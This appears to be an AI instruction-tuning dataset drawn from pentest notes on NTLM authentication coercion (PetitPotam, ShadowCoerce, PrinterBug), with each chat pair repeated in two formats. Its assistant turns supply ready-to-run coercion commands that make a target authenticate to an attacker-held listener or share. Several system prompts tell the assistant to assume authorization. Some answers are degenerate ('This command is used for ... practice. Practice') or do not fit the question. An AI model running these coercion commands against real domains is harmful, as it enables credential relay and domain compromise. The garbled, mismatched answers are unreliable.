> Nota bene: coerced NTLM authentications made over SMB restrict the possibilities of NTLM relay. For instance, an "unsigning cross-protocols relay attack" from SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.

> [!IMPORTANT]
> Some tests conducted in lab environments showed that, unlike the MS-RPRN abuse (printbug), a NULL session could potentially be used to trigger that bug, unauthenticated, if allowed by the target. This has only been verified to be working on on Windows Server 2016 and Windows Server 2019 Domain Controllers.
>
> `bash
> Petitpotam.py $ATTACKER_IP $TARGET_IP
> `

> [!NOTE]
> For the proof of concept to work, using a proper security provider (RPC_C_AUTHN_WINNT) and authentication level (RPC_C_AUTHN_LEVEL_PKT_PRIVACY`) can be required, especially if the target is patched against MS-EFSR abuse (which doesn't completely mitigate the vulnerability). In both tools mentioned above, this is enabled by default only on topotam's one.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the Petitpotam.py command for ms-efsr abuse (petitpotam) - practice

[Assistant] Petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the Petitpotam.py command for ms-efsr abuse (petitpotam) - practice

Response: Petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for MS-EFSR abuse (PetitPotam) - Practice?

[Assistant] Petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for MS-EFSR abuse (PetitPotam) - Practice?

Response: Petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP`?

[Assistant] This command is used for ms-efsr abuse (petitpotam) - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP`?

Response: This command is used for ms-efsr abuse (petitpotam) - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the petitpotam.py syntax for ms-efsr abuse (petitpotam) - practice?

[Assistant] petitpotam.py -method AddUsersToFile $TARGET_IP '\\$ATTACKER_IP\share\foo'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the petitpotam.py syntax for ms-efsr abuse (petitpotam) - practice?

Response: petitpotam.py -method AddUsersToFile $TARGET_IP '\\$ATTACKER_IP\share\foo'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on MS-EFSR abuse (PetitPotam) - Practice

[Assistant] petitpotam.py -method AddUsersToFile $TARGET_IP '\\$ATTACKER_IP\share\foo'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on MS-EFSR abuse (PetitPotam) - Practice

Response: petitpotam.py -method AddUsersToFile $TARGET_IP '\\$ATTACKER_IP\share\foo'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `petitpotam.py -method AddUsersToFile $TARGET_IP '\\$ATTACKER_IP\share\foo'`?

[Assistant] This command is used for ms-efsr abuse (petitpotam) - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `petitpotam.py -method AddUsersToFile $TARGET_IP '\\$ATTACKER_IP\share\foo'`?

Response: This command is used for ms-efsr abuse (petitpotam) - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is MS-FSRVP abuse (ShadowCoerce) - Theory?

[Assistant]
MS-FSRVP is Microsoft's File Server Remote VSS Protocol. It's used for creating shadow copies of file shares on a remote computer, and for facilitating backup applications in performing application-consistent backup and restore of data on SMB2 shares (docs.microsoft.com). That interface is available through the \pipe\FssagentRpc SMB named pipe.

In late 2021, Lionel GILLES published slides showcasing PetitPotam and demonstrating the possibility of abusing the protocol to coerce authentications on the last two slides.

Similarly to other MS-RPC abuses, this works by using a specific method relying on remote UNC paths. In this case, at the time of writing, two methods were detected as vulnerable: IsPathSupported and IsPathShadowCopied.

The coerced authentications are made over SMB. Unlike other similar coercion methods (MS-RPRN printerbug, MS-EFSR petitpotam), I doubt MS-FSRVP abuse can be combined with WebClient abuse to elicit incoming authentications made over HTTP.

A requirement to the abuse is to have the "File Server VSS Agent Service" enabled on the target server.

![](<./assets/File Server VSS Agent Service.png>)

> [!TIP]
> In June 2022, Microsoft patched CVE-2022-30154 in KB5014692, which also patched this coercion attack.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is MS-FSRVP abuse (ShadowCoerce) - Theory?

Response:
MS-FSRVP is Microsoft's File Server Remote VSS Protocol. It's used for creating shadow copies of file shares on a remote computer, and for facilitating backup applications in performing application-consistent backup and restore of data on SMB2 shares (docs.microsoft.com). That interface is available through the \pipe\FssagentRpc SMB named pipe.

In late 2021, Lionel GILLES published slides showcasing PetitPotam and demonstrating the possibility of abusing the protocol to coerce authentications on the last two slides.

Similarly to other MS-RPC abuses, this works by using a specific method relying on remote UNC paths. In this case, at the time of writing, two methods were detected as vulnerable: IsPathSupported and IsPathShadowCopied.

The coerced authentications are made over SMB. Unlike other similar coercion methods (MS-RPRN printerbug, MS-EFSR petitpotam), I doubt MS-FSRVP abuse can be combined with WebClient abuse to elicit incoming authentications made over HTTP.

A requirement to the abuse is to have the "File Server VSS Agent Service" enabled on the target server.

![](<./assets/File Server VSS Agent Service.png>)

> [!TIP]
> In June 2022, Microsoft patched CVE-2022-30154 in KB5014692, which also patched this coercion attack.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for MS-FSRVP abuse (ShadowCoerce) - Theory

[Assistant]
MS-FSRVP is Microsoft's File Server Remote VSS Protocol. It's used for creating shadow copies of file shares on a remote computer, and for facilitating backup applications in performing application-consistent backup and restore of data on SMB2 shares (docs.microsoft.com). That interface is available through the \pipe\FssagentRpc SMB named pipe.

In late 2021, Lionel GILLES published slides showcasing PetitPotam and demonstrating the possibility of abusing the protocol to coerce authentications on the last two slides.

Similarly to other MS-RPC abuses, this works by using a specific method relying on remote UNC paths. In this case, at the time of writing, two methods were detected as vulnerable: IsPathSupported and IsPathShadowCopied.

The coerced authentications are made over SMB. Unlike other similar coercion methods (MS-RPRN printerbug, MS-EFSR petitpotam), I doubt MS-FSRVP abuse can be combined with WebClient abuse to elicit incoming authentications made over HTTP.

A requirement to the abuse is to have the "File Server VSS Agent Service" enabled on the target server.

![](<./assets/File Server VSS Agent Service.png>)

> [!TIP]
> In June 2022, Microsoft patched CVE-2022-30154 in KB5014692, which also patched this coercion attack.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for MS-FSRVP abuse (ShadowCoerce) - Theory

Response:
MS-FSRVP is Microsoft's File Server Remote VSS Protocol. It's used for creating shadow copies of file shares on a remote computer, and for facilitating backup applications in performing application-consistent backup and restore of data on SMB2 shares (docs.microsoft.com). That interface is available through the \pipe\FssagentRpc SMB named pipe.

In late 2021, Lionel GILLES published slides showcasing PetitPotam and demonstrating the possibility of abusing the protocol to coerce authentications on the last two slides.

Similarly to other MS-RPC abuses, this works by using a specific method relying on remote UNC paths. In this case, at the time of writing, two methods were detected as vulnerable: IsPathSupported and IsPathShadowCopied.

The coerced authentications are made over SMB. Unlike other similar coercion methods (MS-RPRN printerbug, MS-EFSR petitpotam), I doubt MS-FSRVP abuse can be combined with WebClient abuse to elicit incoming authentications made over HTTP.

A requirement to the abuse is to have the "File Server VSS Agent Service" enabled on the target server.

![](<./assets/File Server VSS Agent Service.png>)

> [!TIP]
> In June 2022, Microsoft patched CVE-2022-30154 in KB5014692, which also patched this coercion attack.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain MS-FSRVP abuse (ShadowCoerce) - Practice

[Assistant]
The following Python proof-of-concept (https://github.com/ShutdownRepo/ShadowCoerce) implements the IsPathSupported and IsPathShadowCopied methods.

> [!NOTE]
> For the proof of concept to work, using a proper security provider (RPC_C_AUTHN_WINNT) and authentication level (RPC_C_AUTHN_LEVEL_PKT_PRIVACY) can required. It is enabled by default in the script.

``bash
shadowcoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET
``

![](<./assets/MS FSRVP abuse example.png>)

> [!NOTE]
> In my tests, the coercion needed to be attempted twice in order to work when the FssAgent hadn't been requested in a while. In short, run the command again if it doesn't work the first time.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain MS-FSRVP abuse (ShadowCoerce) - Practice

Response:
The following Python proof-of-concept (https://github.com/ShutdownRepo/ShadowCoerce) implements the IsPathSupported and IsPathShadowCopied methods.

> [!NOTE]
> For the proof of concept to work, using a proper security provider (RPC_C_AUTHN_WINNT) and authentication level (RPC_C_AUTHN_LEVEL_PKT_PRIVACY) can required. It is enabled by default in the script.

``bash
shadowcoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET
``

![](<./assets/MS FSRVP abuse example.png>)

> [!NOTE]
> In my tests, the coercion needed to be attempted twice in order to work when the FssAgent hadn't been requested in a while. In short, run the command again if it doesn't work the first time.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on MS-FSRVP abuse (ShadowCoerce) - Practice

[Assistant]
The following Python proof-of-concept (https://github.com/ShutdownRepo/ShadowCoerce) implements the IsPathSupported and IsPathShadowCopied methods.

> [!NOTE]
> For the proof of concept to work, using a proper security provider (RPC_C_AUTHN_WINNT) and authentication level (RPC_C_AUTHN_LEVEL_PKT_PRIVACY) can required. It is enabled by default in the script.

``bash
shadowcoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET
``

![](<./assets/MS FSRVP abuse example.png>)

> [!NOTE]
> In my tests, the coercion needed to be attempted twice in order to work when the FssAgent hadn't been requested in a while. In short, run the command again if it doesn't work the first time.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on MS-FSRVP abuse (ShadowCoerce) - Practice

Response:
The following Python proof-of-concept (https://github.com/ShutdownRepo/ShadowCoerce) implements the IsPathSupported and IsPathShadowCopied methods.

> [!NOTE]
> For the proof of concept to work, using a proper security provider (RPC_C_AUTHN_WINNT) and authentication level (RPC_C_AUTHN_LEVEL_PKT_PRIVACY) can required. It is enabled by default in the script.

``bash
shadowcoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET
``

![](<./assets/MS FSRVP abuse example.png>)

> [!NOTE]
> In my tests, the coercion needed to be attempted twice in order to work when the FssAgent hadn't been requested in a while. In short, run the command again if it doesn't work the first time.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the shadowcoerce.py command for ms-fsrvp abuse (shadowcoerce) - practice

[Assistant] shadowcoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the shadowcoerce.py command for ms-fsrvp abuse (shadowcoerce) - practice

Response: shadowcoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through MS-FSRVP abuse (ShadowCoerce) - Practice

[Assistant] shadowcoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through MS-FSRVP abuse (ShadowCoerce) - Practice

Response: shadowcoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `shadowcoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET`?

[Assistant] This command is used for ms-fsrvp abuse (shadowcoerce) - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `shadowcoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET`?

Response: This command is used for ms-fsrvp abuse (shadowcoerce) - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about MS-RPRN abuse (PrinterBug) - Theory?

[Assistant]
Microsoft’s Print Spooler is a service handling the print jobs and other various tasks related to printing. An attacker controling a domain user/computer can, with a specific RPC call, trigger the spooler service of a target running it and make it authenticate to a target of the attacker's choosing. This flaw is a "won't fix" and enabled by default on all Windows environments (more info on the finding).

The coerced authentications are made over SMB. But MS-RPRN abuse can be combined with WebClient abuse to elicit incoming authentications made over HTTP which heightens NTLM relay capabilities.

The "specific call" mentioned above is the RpcRemoteFindFirstPrinterChangeNotificationEx notification method, which is part of the MS-RPRN protocol. MS-RPRN is Microsoft’s Print System Remote Protocol. It defines the communication of print job processing and print system management between a print client and a print server.

> [!TIP]
> The attacker needs a foothold on the domain (i.e. compromised account) for this attack to work since the coercion is operated through an RPC call in the SMB \pipe\spoolss named pipe through the IPC$ share.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about MS-RPRN abuse (PrinterBug) - Theory?

Response:
Microsoft’s Print Spooler is a service handling the print jobs and other various tasks related to printing. An attacker controling a domain user/computer can, with a specific RPC call, trigger the spooler service of a target running it and make it authenticate to a target of the attacker's choosing. This flaw is a "won't fix" and enabled by default on all Windows environments (more info on the finding).

The coerced authentications are made over SMB. But MS-RPRN abuse can be combined with WebClient abuse to elicit incoming authentications made over HTTP which heightens NTLM relay capabilities.

The "specific call" mentioned above is the RpcRemoteFindFirstPrinterChangeNotificationEx notification method, which is part of the MS-RPRN protocol. MS-RPRN is Microsoft’s Print System Remote Protocol. It defines the communication of print job processing and print system management between a print client and a print server.

> [!TIP]
> The attacker needs a foothold on the domain (i.e. compromised account) for this attack to work since the coercion is operated through an RPC call in the SMB \pipe\spoolss named pipe through the IPC$ share.